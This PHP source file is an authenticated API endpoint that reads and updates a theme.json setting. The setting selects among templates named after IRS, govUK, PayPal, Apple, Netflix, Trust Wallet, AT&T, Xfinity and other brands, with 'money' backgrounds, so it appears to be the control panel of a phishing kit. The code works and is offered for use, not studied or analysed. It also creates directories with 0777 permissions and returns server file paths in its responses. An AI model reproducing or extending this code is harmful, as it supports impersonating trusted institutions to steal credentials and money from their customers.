<?php
session_start();
header('Content-Type: application/json');

// Check session
if (empty($_SESSION['access_token'])) {
    http_response_code(401);
    echo json_encode(['error' => 'Unauthorized']);
    exit;
}

// Calculate correct path to config/theme.json
// From: 405/wtf/api/theme.php
// To: config/theme.json (root level)
$themeFile = __DIR__ . '/../../../config/theme.json';

$method = $_SERVER['REQUEST_METHOD'];

if ($method === 'GET') {
    // Get current theme
    if (file_exists($themeFile)) {
        $data = json_decode(file_get_contents($themeFile), true);
        echo json_encode($data ?: ['template_select' => 'xfinity']);
    } else {
        echo json_encode(['template_select' => 'xfinity']);
    }
} 
elseif ($method === 'POST') {
    $input = json_decode(file_get_contents('php://input'), true);
    
    // Get current theme data (same logic as profile.php line 70)
    $currentData = [];
    if (file_exists($themeFile)) {
        $currentData = json_decode(file_get_contents($themeFile), true) ?: [];
    }
    
    // Prepare update data (same logic as profile.php line 72-76)
    $updateData = [];
    
    // Update template_select (same validation as profile.php)
    if (isset($input['template_select'])) {
        $templates = ['xfinity', 'amz', 'irs', 'netflix', 'spectrum', 'att', 'govUK', 'trustwallet', 'apple', 'breezeline', 'paypal', 'disney'];
        if (in_array($input['template_select'], $templates)) {
            $updateData['template_select'] = $input['template_select'];
        } else {
            echo json_encode(['success' => false, 'error' => 'Invalid template']);
            exit;
        }
    }
    
    // Update bgImage_select if provided (same as profile.php)
    if (isset($input['bgImage_select'])) {
        $validBgImages = ['money.png', 'money_2.png', 'background_img.png'];
        if (in_array($input['bgImage_select'], $validBgImages)) {
            $updateData['bgImage_select'] = $input['bgImage_select'];
        }
    } else {
        // Preserve existing value if not provided
        if (isset($currentData['bgImage_select'])) {
            $updateData['bgImage_select'] = $currentData['bgImage_select'];
        } else {
            $updateData['bgImage_select'] = 'background_img.png';
        }
    }
    
    // Update bgImage_change if provided (same as profile.php)
    if (isset($input['bgImage_change'])) {
        if (in_array($input['bgImage_change'], ['0', '1'])) {
            $updateData['bgImage_change'] = $input['bgImage_change'];
        }
    } else {
        // Preserve existing value if not provided
        if (isset($currentData['bgImage_change'])) {
            $updateData['bgImage_change'] = $currentData['bgImage_change'];
        } else {
            $updateData['bgImage_change'] = '1';
        }
    }
    
    // Apply updates (same logic as profile.php line 78-82)
    foreach ($updateData as $key => $value) {
        $currentData[$key] = $value;
    }
    
    // Save to file
    $dir = dirname($themeFile);
    if (!is_dir($dir)) {
        mkdir($dir, 0777, true);
    }
    
    // Ensure JSON is properly formatted (same format as profile.php)
    $jsonData = json_encode($currentData, JSON_PRETTY_PRINT);
    
    // Write with LOCK_EX to prevent concurrent writes
    $result = file_put_contents($themeFile, $jsonData, LOCK_EX);
    
    if ($result !== false) {
        // Clear any opcache if enabled
        if (function_exists('opcache_invalidate')) {
            opcache_invalidate($themeFile, true);
        }
        
        // Verify the file was written correctly by reading it back
        clearstatcache(true, $themeFile); // Clear file stat cache
        $verify = json_decode(file_get_contents($themeFile), true);
        
        if ($verify && isset($verify['template_select']) && $verify['template_select'] === $currentData['template_select']) {
            echo json_encode([
                'success' => true, 
                'data' => $currentData, 
                'message' => 'Template updated successfully',
                'file_path' => $themeFile,
                'verified' => true
            ]);
        } else {
            echo json_encode([
                'success' => false, 
                'error' => 'File written but verification failed',
                'expected' => $currentData['template_select'],
                'got' => $verify['template_select'] ?? 'null'
            ]);
        }
    } else {
        $error = error_get_last();
        $errorMsg = $error['message'] ?? 'Unknown error';
        echo json_encode([
            'success' => false, 
            'error' => 'Failed to save theme: ' . $errorMsg,
            'file_path' => $themeFile,
            'writable' => is_writable(dirname($themeFile))
        ]);
    }
} else {
    http_response_code(405);
    echo json_encode(['error' => 'Method not allowed']);
}
?>

